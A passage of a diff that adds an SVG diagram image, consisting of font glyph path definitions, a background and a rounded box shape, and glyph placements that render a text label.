5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 8.0625 -6.5625 L 2.828125 -6.5625 L 2.828125 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -7.96875 L 8.0625 -7.96875 L 8.0625 -14.234375 L 9.59375 -14.234375 L 9.59375 0 L 8.0625 0 Z M 8.0625 -6.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 1.609375 -14.234375 L 3.125 -14.234375 L 3.125 0 L 1.609375 0 Z M 1.609375 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-25">
+<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-26">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-27">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-28">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface66205">
+<rect x="0" y="0" width="584" height="204" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M -5 8 L 24 8 L 24 18 L -5 18 Z M -5 8 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.3 11.4 C 7.134375 11.4 7 11.534375 7 11.7 L 7 14.3 C 7 14.465625 7.134375 14.6 7.3 14.6 L 12.7 14.6 C 12.865625 14.6 13 14.465625 13 14.3 L 13 11.7 C 13 11.534375 12.865625 11.4 12.7 11.4 Z M 7.3 11.4 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="257" y="110.00217"/>
+  <use xlink:href="#glyph0-2" x="270.055556" y="110.00217"/>
+  <use xlink:href="#glyph0-3" x="278.388889" y="110.00217"/>
+  <use xlink:href="#glyph0-4" x="283.944444" y="110.00217"/>
+  <use xlink:href="#glyph0-5" x="291.166667" y="110.00217"/>
+  <use xlink:href="#glyph0-3" x="300.055556" y="110.00217"/>
+  <use xlink:href="#glyph0-2" x="305.611111" y="110.00217"/>
+  <use xlink:href="#glyph0-6" x="313.944444" y="110.00217"/>
+  <use xlink:href="#glyph0-7" x="318.388889" y="110.00217"/>
+  <use xlink:href="#glyph0-5" x="329.222222" y="110.00217"/>
